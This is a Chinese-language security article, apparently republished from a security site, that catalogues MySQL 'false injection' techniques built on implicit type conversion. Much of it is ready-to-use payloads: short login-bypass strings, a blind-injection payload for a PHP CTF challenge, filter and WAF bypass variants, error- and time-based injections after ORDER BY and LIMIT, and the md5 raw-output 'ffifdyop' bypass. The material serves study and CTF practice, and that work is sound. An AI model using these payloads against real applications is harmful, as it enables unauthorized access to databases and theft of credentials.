MySQL False注入及技巧总结

安全 数据安全
本篇文章对False注入进行了一下系统地总结,同时结合实例介绍了SQL注入的相关技巧。

[[190462]]

一、False Injection

1. 引子

首先我们常见的注入

  1. 11=1 
  2. 0<1 
  3. ''='' 

这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。

首先抛出这么一个问题

t0136299e81cc00bf38.jpg

为什么username=0会导致返回数据呢?

这就是一个基于false注入的例子,下面在举一个例子

基于false注入的例子

和上面是同一个表,但是为什么这里只返回了两组数据呢?说到这里不得不说一说有关于MYSQL的隐式类型转换。

2. MYSQL隐式类型转换

关于官方文档中的理解大致是:

如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换

两个参数都是字符串,按照字符串比较。不做类型转换

两个参数都是整数,按照整数比较。不做类型转换

如果不与数字进行比较,则将十六进制值视为二进制字符串。

有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳

有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较

所有其他情况下,两个参数都会被转换为浮点数再进行比较

最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败

在这里我试了试如果是字符串和数字比较:

t0191dcf58436a0ef72.png

可以看到在进行类型转换的时候,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串开头是数字的时候还是会从数字部分截断,转换为数字。

现在可以很好理解开头说的为什么username=0会导致返回数据了,就是因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回0使得0=0从而为true得到结果,而后面passwd查询少一组数据的原因就是admin的passwd字段第一个字符是2 从而返回2 并非为0。

2. 利用 

实际中我们接触到的语句都是带有引号的,类似于where username='+input+' 这样的,这时候我们就需要做一些处理来构造false注入的利用点。

2.1. 算术运算

加:+

  1. '+', 拼接的语句:where username=''+'' 

减:-   

  1. '-' 拼接的语句:where username=''-'' 

乘:*

  1. '*' 拼接的语句:where username=''*'' 

除:/

  1. '/6# 拼接的语句:where username=''/6# 

取余:%

  1. '%1# 拼接的语句:where username=''%1# 

2.2. 位操作运算

我们可以使用当字符串和数字运算的时候类型转换的问题进行利用

我们可以用的位运算符有:

和运算:&

  1. '&0# 拼接的语句:where username=''&0#' 

或运算:|

  1. '|0# 拼接的语句:where username=''|0#' 

异或运算:^

  1. '^0# 拼接的语句:where username=''^0#' 

移位操作:

  1. '<<0# '>>0# 

位非(~):这里位非运算符由于是在表达式之前的

2.3. 比较运算符

安全等于:<=>

  1. '=0<=>1# 拼接的语句:where username=''=0<=>1#' 

不等于<>(!=)

  1. '=0<>0# 拼接的语句:where username=''=0<>0#' 

大小于>或<

  1. '>-1# 拼接的语句:where username=''>-1# 

2.4.  其他

1'+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1

3. 综合利用

false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。

这里举例一道题

  1. <?php  include("config.php");  $conn ->query("set names utf8");  function randStr($lenth=32){     $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";     $str = "";     while($lenth>0){       $str.=substr($strBase,rand(0,strlen($strBase)-1),1);       $lenth --;     }    return $str; }  if($install){     $sql = "create table `user` (          `id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,          `username` varchar(30) NOT NULL,          `passwd` varchar(32) NOT NULL,          `role` varchar(30) NOT NULL        )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";     if($conn->query($sql)){        $sql  = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";        $conn -> query($sql);     } }  function filter($str){      $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";      if(preg_match($filter,$str)){          die("you can't input this illegal char!");      }      return $str;  }   function show($username){   global $conn;   $sql = "select role from `user` where username ='".$username."'";   $res = $conn ->query($sql);   if($res->num_rows>0){        echo "$username is ".$res->fetch_assoc()['role'];   }else{       die("Don't have this user!");   } }  function login($username,$passwd){     global $conn;     global $flag;      $username = trim(strtolower($username));     $passwd = trim(strtolower($passwd));     if($username == 'admin'){         die("you can't login this as admin!");     }      $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";     $res = $conn ->query($sql);     if($res->num_rows>0){         if($res->fetch_assoc()['role'] === 'admin') exit($flag);     }else{        echo "sorry,username or passwd error!";     }  }  function source(){      highlight_file(__FILE__); }  $username = isset($_POST['username'])?filter($_POST['username']):""; $passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";  $action = isset($_GET['action'])?filter($_GET['action']):"source";  switch($action){    case "source": source(); break ;    case "login" : login($username,$passwd);break;    case "show" : show($username);break; } 

我们注意到filter()函数

  1. $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; 

这里看起来过滤的比较多,其中and,or还有\&,|都被过滤了,这个时候就可以利用false进行盲注。

可以在show函数利用查询的时候注入,

  1. username = "admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1" 

这里官方给出的就是利用异或,其实这里并不需要’admin‘只要是一串字符串就可以

t015b6f6161bad74c03.png

异或会使字符串都转为浮点型,都变为了0,由于0=0^0 -> 1^0 -> 1当然对于这个题并不一定利用这个,直接截取字符串作比较就可以,但是这里只是提供一种姿势,由于mysql的灵活,其花样也比较多还有就是构造的payload比较简短,例如'+'、'^'、'/4#这样只有三个字符便可以绕过登录,简单粗暴,还有就是类似的文章不多,许多开发人员容易忽视这些细节。

3.1. 结合盲注

上面的例子payload就是利用字符串类型转换导致false注入结合盲注的一个过程

二、一些注入的技巧

mysql中,我们用得到的:

  • 常量:true, false, null, \N, current_timestamp变量:@myvar:=1
  • 系统变量:@@version, @@datadir....
  • 常用函数:version(), pi(), pow(), char(), substring()
  • 字符串生成:hex(), conv()
  • 有关于字符串生成的一些基础字符:true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6

1. 过滤的绕过:

  1. 空格:%20, %09, %0a, %0b, %0c, %0d, %a0,还有一些可以利用括号或者注释  and,or:||,&&  union select:  利用括号,'and(true)like(false)union(select(pass)from(users)),  方括号union [all|distinct] select pass from users#,  union%a0select pass from users,  或者内联注释union/*&sort=*/select pass from users#  union:子查询进行盲注and length((select pass from users having substr(pass,1,1)='a'))  having:and(select substr(group_concat(pass),1,1)from users)='a  select ... from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i):  select [all|distinct] pass from users  select`table_name`from`information_schema` . `tables`  select pass as alias from users  select pass aliasalias from users  select pass`alias alias`from users  select+pass%a0from(users)  select,and,&:  这里就是可以利用上文中提到的false注入的方式进行绕过,具体见上文 

不使用逗号:' and substr(data from 1 for 1) = 'a'#

2. 技巧

下面说几种不同情境的注入技巧

2.1. like

有时候我们可以利用一些逻辑语句进行注入例如在最近的0ctf上的Temmo’s Tiny Shop这个题中,我们在搜索的时候推测出语句是在like后的,就可以通过left来进行like盲注

  1. if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price) 

2.2. Limt

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO是需要写的权限。

利用PROCEDURE 有两种方式,基于报错和时间的

基于报错:

  1. mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

基于时间:

  1. SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) 

2.3. order by

order by 后的数字可以作为一个注入点。具体可以看这个文章MySQL Order By 注入总结

这里可以用一些判断和返回值进行利用,

  1. /?order=IF(11=1,name,price) 通过name字段排序 /?order=IF(1=2,name,price) 通过price字段排序 
  1. /?order=(CASE+WHEN+(11=1)+THEN+name+ELSE+price+END) 通过name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序 
  1. /?order=IFNULL(NULL,price) 通过price字段排序 /?order=IFNULL(NULL,name) 通过name字段排序 

还可以用rand函数

  1. /?order=rand(11=1) /?order=rand(1=2

通常这里我们是不知道列名的,那可以通过报错进行利用

  1. /?order=IF(11=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误  利用regexp /?order=(select+1+regexp+if(11=1,1,0x00)) 正常 /?order=(select+1+regexp+if(1=2,1,0x00)) 错误  利用updatexml /?order=updatexml(1,if(11=1,1,user()),1) 正确 /?order=updatexml(1,if(1=2,1,user()),1) 错误  利用extractvalue /?order=extractvalue(1,if(11=1,1,user())) 正确 /?order=extractvalue(1,if(1=2,1,user())) 错误 利用sleep()也可以.... 方法比较灵活 

3. 有关函数

3.1. 不常用函数绕过滤

  1. lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi' rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??' left(data,1) reverse(right(reverse(data),1)) insert(insert(version(),1,0,space(0)),2,222,space(0)) 

3.2. 搜索匹配类的函数

  1. '-if(locate('f',data),1,0)# '-if(locate('fo',data),1,0)# '-if(locate('foo',data),1,0)# instr(), position() 

3.3. 使用函数进行字符串的切割

  1. length(trim(leading 'a' FROM data)) # length will be shorter length(replace(data, 'a', '')) # length will be shorter 

4.  关于php中md5的一个小技巧

PHP中这么一段sql语句

  1. $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"; 

这里是可以注入绕过的,在php关于MD5函数的介绍说:

如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

也就是找到一个字符串MD5的二进制恰好和字符编码中的某些编码对上了,就可以产生注入,原文作者找到这么一串字符串ffifdyop,md5加密后对应字符编码刚好是'or' ,便产生注入。

这里的原文在这

三、END

false注入也许在某些时候会利用,但是对其中并不是很了解,所以在这里进行了一下系统地总结。

同时往往在利用的时候往往不只是一个点,要结合许多姿势。文章后半部分就是总结了一些注入小姿势,并不是很系统有些散,如果有错误欢迎大佬指出。

责任编辑:赵宁宁 来源: 安全客
相关推荐

2020-01-16 18:30:07

技术SQL优化

2013-06-27 10:26:53

Sqlmap注入

2019-10-28 14:37:10

MySQL 数据库收藏

2009-07-31 15:39:00

linux cd命令详目录切换技巧总结

2020-06-04 10:49:53

Pandas字符串技巧

2010-01-27 17:45:15

Android应用技巧

2013-01-30 13:18:38

Redis监控

2024-02-01 08:28:28

2019-10-17 09:05:21

MySQL数据库高可用

2011-07-19 16:36:25

Audit插件MySQL数据库

2010-01-22 16:35:41

C++开发

2009-12-30 13:30:16

Silverlight

2014-07-03 16:35:38

WebApp开发技巧总结

2009-08-27 16:54:59

C#开发技巧

2019-02-25 07:07:38

技巧React 优化

2009-08-25 16:49:28

.NET Excel

2009-07-23 10:40:23

CSS书写技巧

2009-08-11 15:44:05

C#基本技巧

2015-06-17 10:28:10

WebAPP开发技巧

2010-02-24 12:49:39

WCF枚举
点赞
收藏

51CTO技术栈公众号